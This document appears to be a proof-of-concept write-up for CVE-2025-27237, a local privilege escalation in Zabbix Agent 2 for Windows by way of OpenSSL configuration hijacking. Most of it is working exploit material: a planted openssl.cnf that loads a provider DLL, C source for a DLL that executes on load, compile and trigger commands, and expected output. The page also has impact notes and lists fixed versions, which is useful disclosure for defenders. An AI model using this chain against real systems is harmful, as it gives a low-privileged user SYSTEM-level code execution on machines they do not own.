# CVE-2025-27237 Proof of Concept ## Overview This PoC demonstrates local privilege escalation in Zabbix Agent 2 for Windows via OpenSSL configuration file hijacking. ## Vulnerability Summary | Field | Value | |-------|-------| | **CVE** | CVE-2025-27237 | | **CVSS** | 7.3 (HIGH) | | **Type** | Local Privilege Escalation / Arbitrary Code Execution | | **Affected** | Zabbix Agent/Agent2 for Windows 6.0.0-6.0.40, 7.0.0-7.0.17, 7.2.0-7.2.11, 7.4.0-7.4.1 | ## Tested Configuration - **Binary**: `zabbix_agent2-6.0.39-windows-i386-openssl-static.zip` - **OpenSSL Version**: 3.4.1 - **Vulnerable Path**: `C:\vcpkg\downloads\tools\msys2\2db36fb050d01f45\etc\ssl\openssl.cnf` ## Prerequisites 1. Local user access to Windows system with Zabbix Agent installed 2. Zabbix Agent configured with TLS (`TLSConnect=cert` or `TLSAccept=cert`) 3. Ability to create directories at `C:\` root (default Windows permissions allow this) ## Exploitation Steps ### Step 1: Create Directory Structure ```cmd mkdir C:\vcpkg\downloads\tools\msys2\2db36fb050d01f45\etc\ssl ``` ### Step 2: Create Malicious openssl.cnf Create `C:\vcpkg\downloads\tools\msys2\2db36fb050d01f45\etc\ssl\openssl.cnf`: ```ini openssl_conf = openssl_init [openssl_init] providers = provider_sect [provider_sect] poc = poc_sect [poc_sect] module = C:/vcpkg/downloads/tools/msys2/2db36fb050d01f45/etc/ssl/poc.dll activate = 1 ``` ### Step 3: Compile Malicious DLL Save as `poc.c`: ```c #include BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Write proof file HANDLE hFile = CreateFileA("C:\\EXPLOITED.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile != INVALID_HANDLE_VALUE) { char buf[512]; SYSTEMTIME st; GetLocalTime(&st); int len = wsprintfA(buf, "CVE-2025-27237 EXPLOITED!\r\n" "Time: %04d-%02d-%02d %02d:%02d:%02d\r\n" "Arbitrary code execution achieved!\r\n", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond); DWORD written; WriteFile(hFile, buf, len, &written, NULL); CloseHandle(hFile); } // Optional: Show popup (works in interactive sessions) MessageBoxA(NULL, "CVE-2025-27237\nCode Execution via OpenSSL Config!", "EXPLOITED!", MB_OK | MB_ICONWARNING | MB_SETFOREGROUND); } return TRUE; } // Required OpenSSL provider entry point __declspec(dllexport) int OSSL_provider_init(void *h, void *i, void **o, void **p) { return 1; } ``` Compile with MinGW (32-bit for i386 binary): ```bash i686-w64-mingw32-gcc -shared -o poc.dll poc.c -luser32 -Wl,--subsystem,windows ``` ### Step 4: Deploy DLL Copy `poc.dll` to: ``` C:\vcpkg\downloads\tools\msys2\2db36fb050d01f45\etc\ssl\poc.dll ``` ### Step 5: Trigger Exploit Wait for Zabbix Agent service restart, or manually trigger: ```cmd zabbix_agent2.exe -c zabbix_agent2.conf ``` ### Step 6: Verify Exploitation Check for proof file: ```cmd type C:\EXPLOITED.txt ``` Expected output: ``` CVE-2025-27237 EXPLOITED! Time: 2026-01-26 11:13:08 Arbitrary code execution achieved! ``` ## Zabbix Agent TLS Configuration The agent must have TLS configured to trigger OpenSSL initialization. Example `zabbix_agent2.conf`: ```ini Server=127.0.0.1 ServerActive=127.0.0.1 Hostname=TestHost TLSConnect=cert TLSAccept=cert TLSCAFile=C:\path\to\ca.crt TLSCertFile=C:\path\to\agent.crt TLSKeyFile=C:\path\to\agent.key ``` ## Verification Test To confirm the vulnerability without code execution: **Test 1 - Without openssl.cnf:** ``` zabbix_agent2 [xxx]: ERROR: cannot configure encryption: cannot initialize default TLS context: ...no certificate or crl found ``` **Test 2 - With malicious openssl.cnf (provider pointing to non-existent DLL):** ``` zabbix_agent2 [xxx]: ERROR: cannot use encryption configuration: cannot initialize PRNG ``` The change in error message confirms the configuration file was parsed. ## File Listing After successful exploitation: ``` C:\vcpkg\downloads\tools\msys2\2db36fb050d01f45\etc\ssl\ ├── openssl.cnf (malicious config) └── poc.dll (payload DLL) C:\EXPLOITED.txt (proof of execution) ``` ## Impact When Zabbix Agent runs as a Windows service (default), it typically runs as `SYSTEM`. A low-privileged user can: 1. Create the vulnerable directory path 2. Plant malicious openssl.cnf and DLL 3. Wait for service restart (or trigger via other means) 4. Achieve code execution as `SYSTEM` ## Remediation Upgrade to fixed versions: - 6.0.41+ - 7.0.18+ - 7.2.12+ - 7.4.2+ ## References - [NVD - CVE-2025-27237](https://nvd.nist.gov/vuln/detail/CVE-2025-27237) - [Zabbix Support - ZBX-27061](https://support.zabbix.com/browse/ZBX-27061) - [GitHub Advisory - GHSA-r6x3-vwpm-5vwg](https://github.com/advisories/GHSA-r6x3-vwpm-5vwg) --- *PoC verified on 2026-01-26*